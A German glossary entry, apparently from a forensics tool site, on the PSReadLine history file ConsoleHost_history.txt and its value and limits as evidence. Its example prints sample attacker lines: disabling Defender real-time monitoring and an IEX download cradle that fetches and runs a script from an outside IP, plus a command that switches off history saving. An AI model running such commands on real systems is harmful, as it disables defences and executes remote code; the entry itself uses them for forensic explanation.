Skip to content

Glossar

PSReadLine

Der Zeileneditor der PowerShell-Konsole, der den interaktiven Befehlsverlauf ohne Zeitstempel in ConsoleHost_history.txt speichert.

PSReadLine ist das Modul zur Befehlszeilenbearbeitung, das die PowerShell-Konsole standardmäßig lädt und das seit PowerShell 5 unter Windows 10 fest mitgeliefert wird. Neben Syntaxhervorhebung und Tastenbelegungen führt es einen dauerhaften Verlauf: Jeder Befehl, den ein Benutzer an der Eingabeaufforderung bestätigt, wird an eine Klartextdatei im servergespeicherten Profil (Roaming) dieses Benutzers angehängt. Für Ermittler ist diese Datei oft die direkteste Aufzeichnung dessen, was eine Person tatsächlich eingetippt hat.

Warum es für Untersuchungen wichtig ist

Die Verlaufsdatei übersteht Neustarts und neue Sitzungen und kann daher Wochen oder Monate vor den ältesten Eintrag in den Ereignisprotokollen zurückreichen. Sie erfasst Befehle außerdem genau so, wie sie eingetippt wurden, einschließlich eines -EncodedCommand-Blobs, den die Skriptblockprotokollierung nur in dekodierter Form speichern würde. Sie hat aber harte Grenzen:

  • Keine Zeitstempel. Die Reihenfolge der Zeilen ist die einzige Chronologie; um einen Befehl zeitlich einzuordnen, gleichen Sie ihn mit einem 4104- oder 800-Ereignis oder mit einem Transkript ab.
  • Nur interaktive Konsoleneingaben. Skripte, geplante Aufgaben, WinRM-Sitzungen und Nicht-Konsolen-Hosts werden hier nicht aufgezeichnet.
  • Leicht zu manipulieren. Ein Angreifer kann die Datei löschen oder kürzen oder das Speichern mit Set-PSReadLineOption -HistorySaveStyle SaveNothing abschalten.
  • Eingetippt heißt nicht ausgeführt. Tippfehler und abgebrochene Befehle werden ebenfalls gespeichert.

Beispiel

Der Standardspeicherort für die normale Konsole von powershell.exe ist:

%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Andere Hosts schreiben <HostName>_history.txt, und (Get-PSReadLineOption).HistorySavePath zeigt den aktiven Pfad. Einige Zeilen aus einem kompromittierten Konto könnten so aussehen:

whoami /groups
Set-MpPreference -DisableRealtimeMonitoring $true
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')

Ein mehrzeiliger Befehl wird mit einem abschließenden Backtick in jeder Zeile außer der letzten gespeichert; der Parser fügt diese Zeilen wieder zu einem einzigen Eintrag zusammen und markiert die Manipulation an Defender und das Download-Cradle oben sowie Befehle, die den Verlauf leeren oder löschen.

Verwandte Begriffe

Lesen Sie eine Verlaufsdatei im PowerShell Parser neben den Ereignisprotokollen, und lesen Sie unter Forensik von ConsoleHost_history.txt die vollständige Schritt-für-Schritt-Anleitung.